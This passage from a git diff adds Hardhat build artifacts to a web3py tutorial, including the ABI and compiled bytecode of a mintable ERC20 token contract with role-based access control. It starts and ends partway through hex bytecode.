60000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611200610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690611f0c565b60405180910390fd5b6112db600083836113b3565b80600260008282546112ed9190611f89565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113429190611f89565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113a79190611f2c565b60405180910390a35050565b505050565b6060600060028360026113cb9190611fdf565b6113d59190611f89565b67ffffffffffffffff811115611414577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156114465781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106114a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061152e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000600184600261156e9190611fdf565b6115789190611f89565b90505b6001811115611664577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106115e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b82828151811061161d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061165d906120f7565b905061157b565b50600084146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90611dec565b60405180910390fd5b8091505092915050565b6000813590506116c1816121c2565b92915050565b6000813590506116d6816121d9565b92915050565b6000813590506116eb816121f0565b92915050565b60008135905061170081612207565b92915050565b60006020828403121561171857600080fd5b6000611726848285016116b2565b91505092915050565b6000806040838503121561174257600080fd5b6000611750858286016116b2565b9250506020611761858286016116b2565b9150509250929050565b60008060006060848603121561178057600080fd5b600061178e868287016116b2565b935050602061179f868287016116b2565b92505060406117b0868287016116f1565b9150509250925092565b600080604083850312156117cd57600080fd5b60006117db858286016116b2565b92505060206117ec858286016116f1565b9150509250929050565b60006020828403121561180857600080fd5b6000611816848285016116c7565b91505092915050565b6000806040838503121561183257600080fd5b6000611840858286016116c7565b9250506020611851858286016116b2565b9150509250929050565b60006020828403121561186d57600080fd5b600061187b848285016116dc565b91505092915050565b61188d8161204b565b82525050565b61189c81612057565b82525050565b60006118ad82611f62565b6118b78185611f6d565b93506118c78185602086016120c4565b6118d0816121b1565b840191505092915050565b60006118e682611f62565b6118f08185611f7e565b93506119008185602086016120c4565b80840191505092915050565b6000611919602083611f6d565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611959602383611f6d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119bf602283611f6d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a25602683611f6d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a8b602883611f6d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611af1602583611f6d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b57602483611f6d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bbd601783611f7e565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611bfd602583611f6d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c63601183611f7e565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611ca3602f83611f6d565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000611d09601f83611f6d565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b611d45816120ad565b82525050565b611d54816120b7565b82525050565b6000611d6582611bb0565b9150611d7182856118db565b9150611d7c82611c56565b9150611d8882846118db565b91508190509392505050565b6000602082019050611da96000830184611884565b92915050565b6000602082019050611dc46000830184611893565b92915050565b60006020820190508181036000830152611de481846118a2565b905092915050565b60006020820190508181036000830152611e058161190c565b9050919050565b60006020820190508181036000830152611e258161194c565b9050919050565b60006020820190508181036000830152611e45816119b2565b9050919050565b60006020820190508181036000830152611e6581611a18565b9050919050565b60006020820190508181036000830152611e8581611a7e565b9050919050565b60006020820190508181036000830152611ea581611ae4565b9050919050565b60006020820190508181036000830152611ec581611b4a565b9050919050565b60006020820190508181036000830152611ee581611bf0565b9050919050565b60006020820190508181036000830152611f0581611c96565b9050919050565b60006020820190508181036000830152611f2581611cfc565b9050919050565b6000602082019050611f416000830184611d3c565b92915050565b6000602082019050611f5c6000830184611d4b565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611f94826120ad565b9150611f9f836120ad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fd457611fd3612153565b5b828201905092915050565b6000611fea826120ad565b9150611ff5836120ad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561202e5761202d612153565b5b828202905092915050565b60006120448261208d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156120e25780820151818401526020810190506120c7565b838111156120f1576000848401525b50505050565b6000612102826120ad565b9150600082141561211657612115612153565b5b600182039050919050565b6000600282049050600182168061213957607f821691505b6020821081141561214d5761214c612182565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6121cb81612039565b81146121d657600080fd5b50565b6121e281612057565b81146121ed57600080fd5b50565b6121f981612061565b811461220457600080fd5b50565b612210816120ad565b811461221b57600080fd5b5056fea264697066735822122060bf28d8c7ab8339c3a065da4211f9dcfba9f40a4ed5a798445d8a8f9bc65db864736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/MyTokenMintable1.json b/basic/18-web3py/ABI/MyTokenMintable1.json
new file mode 100644
index 000000000..704254862
--- /dev/null
+++ b/basic/18-web3py/ABI/MyTokenMintable1.json
@@ -0,0 +1,527 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "MyTokenMintable1",
+  "sourceName": "contracts/my_erc20_openzeppelin.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "minter",
+          "type": "address"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "previousAdminRole",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "newAdminRole",
+          "type": "bytes32"
+        }
+      ],
+      "name": "RoleAdminChanged",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleGranted",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleRevoked",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [],
+      "name": "DEFAULT_ADMIN_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "MINTER_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "subtractedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "decreaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        }
+      ],
+      "name": "getRoleAdmin",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "grantRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "hasRole",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "addedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "increaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "mint",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "renounceRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "revokeRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x60806040523480156200001157600080fd5b506040516200272b3803806200272b833981810160405281019062000037919062000352565b6040518060400160405280600781526020017f4d79546f6b656e000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f544b4e00000000000000000000000000000000000000000000000000000000008152508160039080519060200190620000bb9291906200028b565b508060049080519060200190620000d49291906200028b565b505050620001097f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6826200011060201b60201c565b5062000431565b6200012282826200012660201b60201c565b5050565b6200013882826200021860201b60201c565b620002145760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001b96200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b8280546200029990620003b2565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000815190506200034c8162000417565b92915050565b6000602082840312156200036557600080fd5b600062000375848285016200033b565b91505092915050565b60006200038b8262000392565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006002820490506001821680620003cb57607f821691505b60208210811415620003e257620003e1620003e8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b62000422816200037e565b81146200042e57600080fd5b50565b6122ea80620004416000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806340c10f19116100ad578063a457c2d711610071578063a457c2d71461036b578063a9059cbb1461039b578063d5391393146103cb578063d547741f146103e9578063dd62ed3e146104055761012c565b806340c10f19146102b357806370a08231146102cf57806391d14854146102ff57806395d89b411461032f578063a217fddf1461034d5761012c565b8063248a9ca3116100f4578063248a9ca3146101fd5780632f2ff15d1461022d578063313ce5671461024957806336568abe1461026757806339509351146102835761012c565b806301ffc9a71461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b60048036038101906101469190611891565b610435565b6040516101589190611e0a565b60405180910390f35b6101696104af565b6040516101769190611e40565b60405180910390f35b610199600480360381019061019491906117f0565b610541565b6040516101a69190611e0a565b60405180910390f35b6101b761055f565b6040516101c49190611fc2565b60405180910390f35b6101e760048036038101906101e291906117a1565b610569565b6040516101f49190611e0a565b60405180910390f35b6102176004803603810190610212919061182c565b610661565b6040516102249190611e25565b60405180910390f35b61024760048036038101906102429190611855565b610681565b005b6102516106aa565b60405161025e9190611fdd565b60405180910390f35b610281600480360381019061027c9190611855565b6106b3565b005b61029d600480360381019061029891906117f0565b610736565b6040516102aa9190611e0a565b60405180910390f35b6102cd60048036038101906102c891906117f0565b6107e2565b005b6102e960048036038101906102e4919061173c565b610859565b6040516102f69190611fc2565b60405180910390f35b61031960048036038101906103149190611855565b6108a1565b6040516103269190611e0a565b60405180910390f35b61033761090c565b6040516103449190611e40565b60405180910390f35b61035561099e565b6040516103629190611e25565b60405180910390f35b610385600480360381019061038091906117f0565b6109a5565b6040516103929190611e0a565b60405180910390f35b6103b560048036038101906103b091906117f0565b610a90565b6040516103c29190611e0a565b60405180910390f35b6103d3610aae565b6040516103e09190611e25565b60405180910390f35b61040360048036038101906103fe9190611855565b610ad2565b005b61041f600480360381019061041a9190611765565b610afb565b60405161042c9190611fc2565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104a857506104a782610b82565b5b9050919050565b6060600380546104be906121b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea906121b7565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b600061055561054e610bec565b8484610bf4565b6001905092915050565b6000600254905090565b6000610576848484610dbf565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c1610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611f02565b60405180910390fd5b6106558561064d610bec565b858403610bf4565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b61068a82610661565b61069b81610696610bec565b611035565b6106a583836110d2565b505050565b60006012905090565b6106bb610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90611f82565b60405180910390fd5b61073282826111b3565b5050565b60006107d8610743610bec565b848460016000610751610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d3919061201f565b610bf4565b6001905092915050565b61080c7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6336108a1565b61084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084290611ee2565b60405180910390fd5b6108558282611295565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60606004805461091b906121b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610947906121b7565b80156109945780601f1061096957610100808354040283529160200191610994565b820191906000526020600020905b81548152906001019060200180831161097757829003601f168201915b5050505050905090565b6000801b81565b600080600160006109b4610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890611f62565b60405180910390fd5b610a85610a7c610bec565b85858403610bf4565b600191505092915050565b6000610aa4610a9d610bec565b8484610dbf565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610adb82610661565b610aec81610ae7610bec565b611035565b610af683836111b3565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611ea2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db29190611fc2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690611f22565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690611e82565b60405180910390fd5b610eaa8383836113e9565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790611ec2565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fc3919061201f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110279190611fc2565b60405180910390a350505050565b61103f82826108a1565b6110ce576110648173ffffffffffffffffffffffffffffffffffffffff1660146113ee565b6110728360001c60206113ee565b604051602001611083929190611dd0565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c59190611e40565b60405180910390fd5b5050565b6110dc82826108a1565b6111af5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611154610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6111bd82826108a1565b156112915760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611236610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fc90611fa2565b60405180910390fd5b611311600083836113e9565b8060026000828254611323919061201f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611378919061201f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113dd9190611fc2565b60405180910390a35050565b505050565b6060600060028360026114019190612075565b61140b919061201f565b67ffffffffffffffff81111561144a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561147c5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106114da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611564577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026115a49190612075565b6115ae919061201f565b90505b600181111561169a577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611616577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b828281518110611653577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806116939061218d565b90506115b1565b50600084146116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d590611e62565b60405180910390fd5b8091505092915050565b6000813590506116f781612258565b92915050565b60008135905061170c8161226f565b92915050565b60008135905061172181612286565b92915050565b6000813590506117368161229d565b92915050565b60006020828403121561174e57600080fd5b600061175c848285016116e8565b91505092915050565b6000806040838503121561177857600080fd5b6000611786858286016116e8565b9250506020611797858286016116e8565b9150509250929050565b6000806000606084860312156117b657600080fd5b60006117c4868287016116e8565b93505060206117d5868287016116e8565b92505060406117e686828701611727565b9150509250925092565b6000806040838503121561180357600080fd5b6000611811858286016116e8565b925050602061182285828601611727565b9150509250929050565b60006020828403121561183e57600080fd5b600061184c848285016116fd565b91505092915050565b6000806040838503121561186857600080fd5b6000611876858286016116fd565b9250506020611887858286016116e8565b9150509250929050565b6000602082840312156118a357600080fd5b60006118b184828501611712565b91505092915050565b6118c3816120e1565b82525050565b6118d2816120ed565b82525050565b60006118e382611ff8565b6118ed8185612003565b93506118fd81856020860161215a565b61190681612247565b840191505092915050565b600061191c82611ff8565b6119268185612014565b935061193681856020860161215a565b80840191505092915050565b600061194f602083612003565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b600061198f602383612003565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119f5